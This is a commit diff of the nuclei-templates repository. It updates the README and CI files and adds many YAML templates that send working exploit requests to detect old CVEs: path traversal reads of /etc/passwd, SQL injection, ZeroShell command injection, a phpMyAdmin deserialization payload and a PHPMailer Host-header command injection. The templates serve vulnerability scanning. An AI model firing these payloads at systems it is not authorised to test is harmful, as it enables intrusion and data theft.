strict matcher

Auto Update README [Tue Jun 1 09:11:41 UTC 2021] 🤖
Merge pull request #1596 from projectdiscovery/zenario-login-panel
2026-11-07 08:36:19 -10:00 · 2021-06-01 16:08:41 +05:30 · 2021-06-01 09:11:41 +00:00 · 2021-06-01 14:41:24 +05:30 · 2021-06-01 14:39:59 +05:30 · 2021-06-01 08:40:28 +00:00
1012 changed files with 129284 additions and 1515 deletions
@@ -18,7 +18,8 @@ Nuclei Templates
  <a href="#-contributions">Contributions</a> •
  <a href="#-discussion">Discussion</a> •
  <a href="#-community">Community</a> •
-  <a href="https://discord.gg/KECAGdH">Join Discord</a>
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
 </p>

 ----
@@ -35,13 +36,13 @@ An overview of the nuclei template directory including number of templates assoc
 <tr>
 <td> 

-| Templates      | Counts                         | Templates       | Counts                          | Templates        | Counts                         |
-| -------------- | ------------------------------ | --------------- | ------------------------------- | ---------------- | ------------------------------ |
-| cves           | {countTpl("cves/*")}            | vulnerabilities | {countTpl("vulnerabilities/*")} | exposed-panels   | {countTpl("exposed-panels")}   |
-| exposures      | {countTpl("exposures/*")}      | technologies    | {countTpl("technologies")}      | misconfiguration | {countTpl("misconfiguration")} |
-| workflows      | {countTpl("workflows")}        | miscellaneous   | {countTpl("miscellaneous")}     | default-logins   | {countTpl("default-logins/*")} |
-| exposed-tokens | {countTpl("exposed-tokens/*")} | dns             | {countTpl("dns")}               | fuzzing          | {countTpl("fuzzing")}          |
-| helpers        | {countTpl("helpers/*")}        | takeovers       | {countTpl("takeovers")}         | -                | -                              |
+| Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
+| ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
+| cves             | {countTpl("cves/*")}           | vulnerabilities | {countTpl("vulnerabilities/*")} | exposed-panels | {countTpl("exposed-panels")} |
+| takeovers        | {countTpl("takeovers")}        | exposures       | {countTpl("exposures/*")}       | technologies   | {countTpl("technologies")}   |
+| misconfiguration | {countTpl("misconfiguration")} | workflows       | {countTpl("workflows")}         | miscellaneous  | {countTpl("miscellaneous")}  |
+| default-logins   | {countTpl("default-logins/*")} | exposed-tokens  | {countTpl("exposed-tokens/*")}  | dns            | {countTpl("dns")}            |
+| fuzzing          | {countTpl("fuzzing")}          | helpers         | {countTpl("helpers/*")}         | iot            | {countTpl("iot")}            |

 **{command("tree", -2, None)}**.

@@ -1,4 +1,4 @@
-name: syntax-checking
+name: ❄️ YAML Lint

 on: [push, pull_request]

@@ -1,4 +1,4 @@
-name: "Auto Update README"
+name: 📝 Readme Update

 on:
  push:
@@ -11,7 +11,7 @@ on:
 jobs:
  build:
    runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
+    if: github.repository == 'projectdiscovery/nuclei-templates' && github.ref == 'refs/heads/master'
    steps:
      - name: Install tree
        run: sudo apt-get install tree -y
@@ -28,16 +28,20 @@ jobs:
          python-version: "3.8"

      - name: Update README
+        id: update-readme
        run: |
          python .github/scripts/update-readme.py
+          echo "::set-output name=changes::$(git status -s | wc -l)"

      - name: Commit files
+        if: steps.update-readme.outputs.changes > 0
        run: |
          git config --local user.email "[email protected]"
          git config --local user.name "GitHub Action"
          git commit -m "Auto Update README [$(date)] :robot:" -a

      - name: Push changes
+        if: steps.update-readme.outputs.changes > 0
        uses: ad-m/github-push-action@master
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
@@ -1,24 +1,18 @@
 # ==| Nuclei Templates Ignore list |==
 # ====================================
 #
-# This list can be used to define template/s that will be blocked from execution.
-# When a folder/directory is listed under this list, the templates within folder can be executed only when running them directly.
-# For example, "nuclei -t fuzzing" will not work, "nuclei -t fuzzing/wp-plugin-scan.yaml" will be executed.
-# 
-# Why ignore list? - To ensure nuclei is not getting used to hammer the every web server with templates that are meant to be used for specific use cases. 
-# and that doesn't mean nuclei won't let you run these templates. if you know what you are doing, feel free to updates this list locally as per your need.
-#
-# This list also can be used to ignore templates that you wanted to exclude from every scan.
-# More details - https://github.com/projectdiscovery/nuclei#using-nuclei-ignore-file-for-template-exclusion
+# This is default list of tags and files to excluded from default nuclei scan.
+# More details - https://nuclei.projectdiscovery.io/nuclei/get-started/#template-exclusion

-.pre-commit-config.yaml
+# tags is a list of tags to ignore execution for
+# unless asked for by the user.

-# Fuzzing is excluded to avoid running bruteforce on every server as default.
-fuzzing/
+tags: 
+  - "dos"
+  - "iot"
+  - "misc"
+  - "fuzz"
+  - "revision"

-# Wordlist directory contains payload to be used with templates. 
-helpers/
-miscellaneous/
-
-# Workflows are excluded from default run to avoid duplicate scans.
-workflows/
+# files is a list of files to ignore template execution
+# unless asked for by the user.
@@ -1,9 +1,17 @@
 ---
 extends: default

+ignore: |
+  .pre-commit-config.yaml
+  .github/workflows/*.yml
+
 rules:
  document-start: disable
  line-length: disable
  new-lines: disable
  new-line-at-end-of-file: disable
  truthy: disable
+  comments:
+    require-starting-space: true
+    ignore-shebangs: true
+    min-spaces-from-content: 1
@@ -18,7 +18,8 @@ Nuclei Templates
  <a href="#-contributions">Contributions</a> •
  <a href="#-discussion">Discussion</a> •
  <a href="#-community">Community</a> •
-  <a href="https://discord.gg/KECAGdH">Join Discord</a>
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
 </p>

 ----
@@ -35,15 +36,15 @@ An overview of the nuclei template directory including number of templates assoc
 <tr>
 <td> 

-| Templates      | Counts                         | Templates       | Counts                          | Templates        | Counts                         |
-| -------------- | ------------------------------ | --------------- | ------------------------------- | ---------------- | ------------------------------ |
-| cves           | 229            | vulnerabilities | 105 | exposed-panels   | 100   |
-| exposures      | 60      | technologies    | 50      | misconfiguration | 50 |
-| workflows      | 23        | miscellaneous   | 16     | default-logins   | 17 |
-| exposed-tokens | 9 | dns             | 6               | fuzzing          | 4          |
-| helpers        | 2        | takeovers       | 1         | -                | -                              |
+| Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
+| ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
+| cves             | 325           | vulnerabilities | 176 | exposed-panels | 144 |
+| takeovers        | 67        | exposures       | 105       | technologies   | 97   |
+| misconfiguration | 66 | workflows       | 31         | miscellaneous  | 22  |
+| default-logins   | 30 | exposed-tokens  | 0  | dns            | 9            |
+| fuzzing          | 9          | helpers         | 8         | iot            | 12            |

-**71 directories, 685 files**.
+**110 directories, 1189 files**.

 </td>
 </tr>
@@ -4,6 +4,10 @@ info:
  author: CasperGN
  severity: medium
  tags: cve,cve2005
+  description: Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, stores sensitive data from names.nsf in hidden form fields, which allows remote attackers to read the HTML source to obtain sensitive information such as (1) the password hash in the HTTPPassword field, (2) the password change date in the HTTPPasswordChangeDate field, (3) the client platform in the ClntPltfrm field, (4) the client machine name in the ClntMachine field, and (5) the client Lotus Domino release in the ClntBld field, a different vulnerability than CVE-2005-2696.
+  reference: |
+    - http://www.cybsec.com/vuln/default_configuration_information_disclosure_lotus_domino.pdf
+    - https://www.exploit-db.com/exploits/39495

 requests:
  - method: GET
@@ -4,6 +4,7 @@ info:
  name: Apache Struts2 S2-001 RCE
  author: pikpikcu
  severity: critical
+  description: Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via form input beginning with a "%{" sequence and ending with a "}" character.
  reference: https://www.guildhab.top/?p=2326
  tags: cve,cve2007,apache,rce,struts

@@ -4,6 +4,8 @@ info:
  name: AppServ Open Project 2.5.10 and earlier XSS
  author: unstabl3
  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in index.php in AppServ Open Project 2.5.10 and earlier allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter.
+  reference: https://exchange.xforce.ibmcloud.com/vulnerabilities/42546
  tags: cve,cve2008,xss

 requests:
@@ -3,12 +3,15 @@ info:
  name: CMSimple 3.1 - Local File Inclusion
  author: pussycat0x
  severity: high
+  description: |
+    Directory traversal vulnerability in cmsimple/cms.php in CMSimple 3.1, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.
  reference: https://www.exploit-db.com/exploits/5700
  tags: cve,cve2008,lfi
 requests:
  - raw:
      - |
        GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1
+        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
@@ -0,0 +1,20 @@
+id: CVE-2009-0545
+
+info:
+  name: ZeroShell <= 1.0beta11 Remote Code Execution
+  author: geeknik
+  description: cgi-bin/kerbynet in ZeroShell 1.0beta11 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the type parameter in a NoAuthREQ x509List action.
+  reference: https://www.exploit-db.com/exploits/8023
+  severity: critical
+  tags: cve,cve2009,zeroshell,kerbynet,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,35 @@
+id: CVE-2009-1151
+
+info:
+  name: PhpMyAdmin Scripts/setup.php Deserialization Vulnerability
+  author: princechaddha
+  severity: high
+  description: Setup script used to generate configuration can be fooled using a crafted POST request to include arbitrary PHP code in generated configuration file. Combined with ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.
+  reference: https://www.phpmyadmin.net/security/PMASA-2009-3/
+  vulhub: https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
+  tags: cve,cve2009,phpmyadmin,rce,deserialization
+
+requests:
+  - raw:
+      - |
+        POST /scripts/setup.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 80
+
+        action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -4,7 +4,10 @@ info:
  name: Adobe ColdFusion 8.0/8.0.1/9.0/9.0.1 LFI
  author: pikpikcu
  severity: high
-  reference: https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
+  description: Multiple directory traversal vulnerabilities in the administrator console in Adobe ColdFusion 9.0.1 and earlier allow remote attackers to read arbitrary files via the locale parameter to (1) CFIDE/administrator/settings/mappings.cfm, (2) logging/settings.cfm, (3) datasources/index.cfm, (4) j2eepackaging/editarchive.cfm, and (5) enter.cfm in CFIDE/administrator/.
+  reference: |
+    - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861
+    - http://www.adobe.com/support/security/bulletins/apsb10-18.html
  tags: cve,cve2010,coldfusion,lfi

 requests:
@@ -0,0 +1,29 @@
+id: CVE-2011-0049
+
+info:
+  name: Majordomo2 - SMTP/HTTP Directory Traversal
+  author: pikpikcu
+  severity: high
+  description: Directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.
+  reference: |
+    - https://www.exploit-db.com/exploits/16103
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-0063
+    - http://www.kb.cert.org/vuls/id/363726
+  tags: cve,cve2011,majordomo2,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -4,8 +4,9 @@ info:
  name: Apache Struts2 S2-008 RCE
  author: pikpikcu
  severity: critical
+  description: The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
  reference: https://blog.csdn.net/weixin_43416469/article/details/113850545
-  tags: cve, cve2012,apache,rce,struts
+  tags: cve,cve2012,apache,rce,struts

 requests:
  - method: GET
@@ -4,7 +4,8 @@ info:
  name: Apache Struts2 S2-012 RCE
  author: pikpikcu
  severity: critical
-  reference: https://nvd.nist.gov/vuln/detail/CVE-2013-1965
+  description: Apache Struts Showcase App 2.0.0 through 2.3.13, as used in Struts 2 before 2.3.14.3, allows remote attackers to execute arbitrary OGNL code via a crafted parameter name that is not properly handled when invoking a redirect.
+  reference: http://struts.apache.org/development/2.x/docs/s2-012.html
  tags: cve,cve2013,apache,rce,struts

 requests:
@@ -5,6 +5,7 @@ info:
  author: exploitation & @dwisiswant0
  severity: critical
  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+  reference: http://struts.apache.org/release/2.3.x/docs/s2-016.html
  tags: cve,cve2013,rce,struts,apache

 requests:
@@ -0,0 +1,29 @@
+id: CVE-2014-2321
+
+info:
+  name: ZTE Cable Modem Web Shell
+  description: web_shell_cmd.gch on ZTE F460 and F660 cable modems allows remote attackers to obtain administrative access via sendcmd requests, as demonstrated by using "set TelnetCfg" commands to enable a TELNET service with specified credentials.
+  author: geeknik
+  reference:
+    - https://yosmelvin.wordpress.com/2017/09/21/f660-modem-hack/
+    - https://jalalsela.com/zxhn-h108n-router-web-shell-secrets/
+  severity: high
+  tags: iot,cve,cve2014,zte
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/web_shell_cmd.gch"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "please input shell command"
+          - "ZTE Corporation. All rights reserved"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -4,8 +4,12 @@ info:
  name: ElasticSearch v1.1.1/1.2 RCE
  author: pikpikcu
  severity: critical
-  reference: https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
-  tags: cve,cve2014,elasticsearch,rce
+  description: |
+    The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. NOTE: this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
+  reference: |
+    - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
+    - https://www.elastic.co/blog/logstash-1-4-3-released
+  tags: cve,cve2014,elastic,rce

 requests:
  - raw:
@@ -0,0 +1,32 @@
+id: CVE-2014-3704
+info:
+  name: Drupal Sql Injetion
+  author: princechaddha
+  severity: high
+  description: The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing crafted keys.
+  reference: |
+    - https://www.drupal.org/SA-CORE-2014-005
+    - http://www.exploit-db.com/exploits/34984
+    - http://www.exploit-db.com/exploits/34992
+    - http://www.exploit-db.com/exploits/34993
+    - http://www.exploit-db.com/exploits/35150
+  tags: cve,cve2014,drupal,sqli
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/?q=node&destination=node"
+    body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5(1234567890)),1)%23]=bob&name[0]=a'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 500
+
+      - type: word
+        words:
+          - "PDOException"
+          - "e807f1fcf82d132f9bb018ca6738a19f"
+        condition: and
+        part: body
@@ -0,0 +1,25 @@
+id: CVE-2014-3744
+
+info:
+  name: Node.js st module Directory Traversal
+  author: geeknik
+  description: Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary files via a %2e%2e (encoded dot dot) in an unspecified path.
+  reference: |
+    - https://github.com/advisories/GHSA-69rr-wvh9-6c4q
+    - https://snyk.io/vuln/npm:st:20140206
+  severity: high
+  tags: cve,cve2014,lfi,nodejs,st
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,29 @@
+id: CVE-2014-4210
+
+info:
+  name: Weblogic SSRF in SearchPublicRegistries.jsp
+  author: princechaddha
+  severity: medium
+  tags: cve,cve2014,weblogic,oracle,ssrf
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2014-4210
+      - https://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Connection refused"
+          - "Socket Closed"
+          - "content-type: unknown/unknown"
+        part: body
+        condition: or
@@ -5,6 +5,9 @@ info:
  author: pentest_swissky
  severity: high
  description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
+  reference: |
+    - http://www.kb.cert.org/vuls/id/252743
+    - http://www.us-cert.gov/ncas/alerts/TA14-268A
  tags: cve,cve2014,rce

 requests:
@@ -4,8 +4,11 @@ info:
  name: ElasticSearch 1.4.0/1.4.2 RCE
  author: pikpikcu
  severity: critical
-  reference: https://blog.csdn.net/JiangBuLiu/article/details/94457980
-  tags: cve,cve2015,elasticsearch,rce
+  description: The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.
+  reference: |
+    - https://blog.csdn.net/JiangBuLiu/article/details/94457980
+    - http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released/
+  tags: cve,cve2015,elastic,rce

 requests:
  - raw:
@@ -0,0 +1,33 @@
+id: CVE-2015-1880
+
+info:
+  name: XSS in Fortigates SSL VPN login page
+  author: pikpikcu
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in the sslvpn login page in Fortinet FortiOS 5.2.x before 5.2.3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
+  reference: |
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-1880
+    - https://www.c2.lol/articles/xss-in-fortigates-ssl-vpn-login-page
+  tags: cve,cve2015,xss,fortigates,ssl
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/remote/login?&err=--%3E%3Cscript%3Ealert('{{randstr}}')%3C/script%3E%3C!--&lang=en"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "<script>alert('{{randstr}}')</script>"
+        part: body
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,30 @@
+id: CVE-2015-2080
+
+info:
+  name: Eclipse Jetty Remote Leakage
+  author: pikpikcu
+  severity: medium
+  reference: |
+    - https://github.com/eclipse/jetty.project/blob/jetty-9.2.x/advisories/2015-02-24-httpparser-error-buffer-bleed.md
+    - https://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html
+    - http://packetstormsecurity.com/files/130567/Jetty-9.2.8-Shared-Buffer-Leakage.html
+  description: |
+       The exception handling code in Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header, aka JetLeak
+  tags: cve,cve2015,jetty
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/"
+    headers:
+      Referer: \x00
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 400
+      - type: word
+        words:
+          - "Illegal character 0x0 in state"
+        part: body
@@ -0,0 +1,29 @@
+id: CVE-2015-3306
+
+info:
+  name: ProFTPd RCE
+  author: pdteam
+  severity: high
+  reference: https://github.com/t0kx/exploit-CVE-2015-3306
+  description: The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.
+  tags: cve,cve2015,ftp,rce,network
+
+network:
+  - inputs:
+      - data: "site cpfr /proc/self/cmdline\r\n"
+        read: 1024
+      - data: "site cpto /tmp/.{{randstr}}\r\n"
+        read: 1024
+      - data: "site cpfr /tmp/.{{randstr}}\r\n"
+        read: 1024
+      - data: "site cpto /var/www/html/{{randstr}}\r\n"
+    host:
+      - "{{Hostname}}:21"
+      - "{{Hostname}}"
+
+    read-size: 1024
+    matchers:
+      - type: word
+        words:
+          - "Copy successful"
+        part: raw
@@ -0,0 +1,25 @@
+id: CVE-2015-3337
+
+info:
+ name: Elasticsearch Head plugin LFI
+ author: pdteam
+ severity: high
+ description: Directory traversal vulnerability in Elasticsearch before 1.4.5 and 1.5.x before 1.5.2, when a site plugin is enabled, allows remote attackers to read arbitrary files via unspecified vectors.
+ reference: https://www.exploit-db.com/exploits/37054/
+ tags: cve,cve2015,elastic,lfi
+
+requests:
+ - method: GET
+   path:
+    - "{{BaseURL}}/_plugin/head/../../../../../../../../../../../../../../../../etc/passwd"
+
+   matchers-condition: and
+   matchers:
+    - type: regex
+      regex:
+       - "root:[x*]:0:0"
+      part: body
+
+    - type: status
+      status:
+       - 200
@@ -5,7 +5,8 @@ info:
 author: pikpikcu
 severity: high
 issues: https://github.com/geddy/geddy/issues/697
- reference: https://nvd.nist.gov/vuln/detail/CVE-2015-5688
+ description: Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the PATH_INFO to the default URI.
+ reference: https://nodesecurity.io/advisories/geddy-directory-traversal
 tags: cve,cve2015,geddy,lfi

 requests:
@@ -0,0 +1,19 @@
+id: CVE-2015-7297
+info:
+  name: Joomla Core SQL Injection
+  author: princechaddha
+  severity: high
+  description: SQL injection vulnerability in Joomla 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.
+  reference: http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html
+  tags: cve,cve2015,joomla,sqli
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(8888)),1)"
+
+    matchers:
+      - type: word
+        words:
+          - "cf79ae6addba60ad018347359bd144d2"
+        part: body
@@ -0,0 +1,25 @@
+id: CVE-2015-8399
+info:
+  author: princechaddha
+  name: Atlassian Confluence configuration files read
+  severity: medium
+  description: Atlassian Confluence before 5.8.17 allows remote authenticated users to read configuration files via the decoratorName parameter to (1) spaces/viewdefaultdecorator.action or (2) admin/viewdefaultdecorator.action.
+  reference: https://jira.atlassian.com/browse/CONFSERVER-39704?src=confmacro
+  tags: cve,cve2015,atlassian,confluence
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/spaces/viewdefaultdecorator.action?decoratorName"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "confluence-init.properties"
+          - "View Default Decorator"
+        condition: and
+        part: body
@@ -0,0 +1,50 @@
+id: CVE-2016-10033
+info:
+  name: Wordpress 4.6 Remote Code Execution
+  author: princechaddha
+  severity: high
+  description: The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote) in a crafted Sender property.
+  reference: https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
+  tags: wordpress,cve,cve2016,rce
+
+requests:
+  - raw:
+      - |+
+        GET /?author=1 HTTP/1.1
+        Host: {{Hostname}}
+        Cache-Control: max-age=0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+        Accept-Language: en-US,en;q=0.9
+        Connection: close
+
+      - |+
+        POST /wp-login.php?action=lostpassword HTTP/1.1
+        Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
+        Connection: close
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Accept: */*
+        Content-Length: 56
+        Content-Type: application/x-www-form-urlencoded
+
+        wp-submit=Get+New+Password&redirect_to=&user_login={{username}}
+
+    unsafe: true
+    extractors:
+      - type: regex
+        name: username
+        internal: true
+        group: 1
+        part: body
+        regex:
+          - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - wp-login.php?checkemail=confirm
+        part: header
+
+      - type: status
+        status:
+          - 302
@@ -4,7 +4,11 @@ info:
  name: Apache S2-032 Struts RCE
  author: dhiyaneshDK
  severity: high
-  reference: https://cwiki.apache.org/confluence/display/WW/S2-032
+  description: |
+    Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.
+  reference: |
+    - https://cwiki.apache.org/confluence/display/WW/S2-032
+    - https://struts.apache.org/docs/s2-032.html
  tags: cve,cve2016,struts,rce,apache

 requests:
@@ -4,11 +4,9 @@ info:
  name: Trend Micro Threat Discovery Appliance Auth Bypass via Directory Traversal
  author: dwisiswant0
  severity: critical
+  description: On the Trend Micro Threat Discovery Appliance 2.6.1062r1, directory traversal when processing a session_id cookie allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.
  reference: https://gist.github.com/malerisch/5de8b408443ee9253b3954a62a8d97b4
-  tags: cve,cve2016
-
-  # This template exploits an authentication bypass vulnerability via a file delete in logoff.cgi
-  # which resets the admin password back to 'admin' upon a reboot.
+  tags: cve,cve2016,lfi

 requests:
  - method: GET
@@ -23,5 +21,5 @@ requests:
          - 200
      - type: word
        words:
-          - "Backtrace"
-        part: header
+          - "Memory map"
+        part: body
@@ -4,6 +4,7 @@ info:
 name: GlassFish LFI
 author: pikpikcu
 severity: high
+ description: Oracle, GlassFish Server Open Source Edition 4.1 is vulnerable to both authenticated and unauthenticated Directory Traversal vulnerability, that can be exploited by issuing a specially crafted HTTP GET request.
 reference: https://www.exploit-db.com/exploits/45196
 tags: cve,cve2017,oracle,glassfish,lfi

@@ -0,0 +1,26 @@
+id: CVE-2017-1000170
+
+info:
+  name: WordPress Plugin Delightful Downloads Jquery File Tree 2.1.5 Path Traversal
+  author: dwisiswant0
+  severity: high
+  reference: https://www.exploit-db.com/exploits/49693
+  description: jqueryFileTree 2.1.5 and older Directory Traversal
+  tags: cve,cve2017,wordpress,wp-plugin,lfi
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/wp-content/plugins/delightful-downloads/assets/vendor/jqueryFileTree/connectors/jqueryFileTree.php"
+    body: "dir=%2Fetc%2F&onlyFiles=true"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<li class='file ext_passwd'>"
+          - "<a rel='/passwd'>passwd</a></li>"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,33 @@
+id: CVE-2017-1000486
+
+info:
+  name: Primetek Primefaces 5.x EL Injection - RCE
+  author: Moritz Nentwig
+  severity: critical
+  description: Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution
+  reference: |
+      - https://github.com/mogwailabs/CVE-2017-1000486
+      - https://github.com/pimps/CVE-2017-1000486
+      - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
+  tags: cve,cve2017,primetek,rce
+
+requests:
+  - raw:
+      - |
+        POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Length: 160
+        Accept: */*
+        Accept-Language: en
+        Content-Type: application/x-www-form-urlencoded
+        Accept-Encoding: gzip, deflate
+
+        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D
+
+    matchers:
+      - type: word
+        words:
+          - 'Mogwailabs: CHECKCHECK'
+        part: header
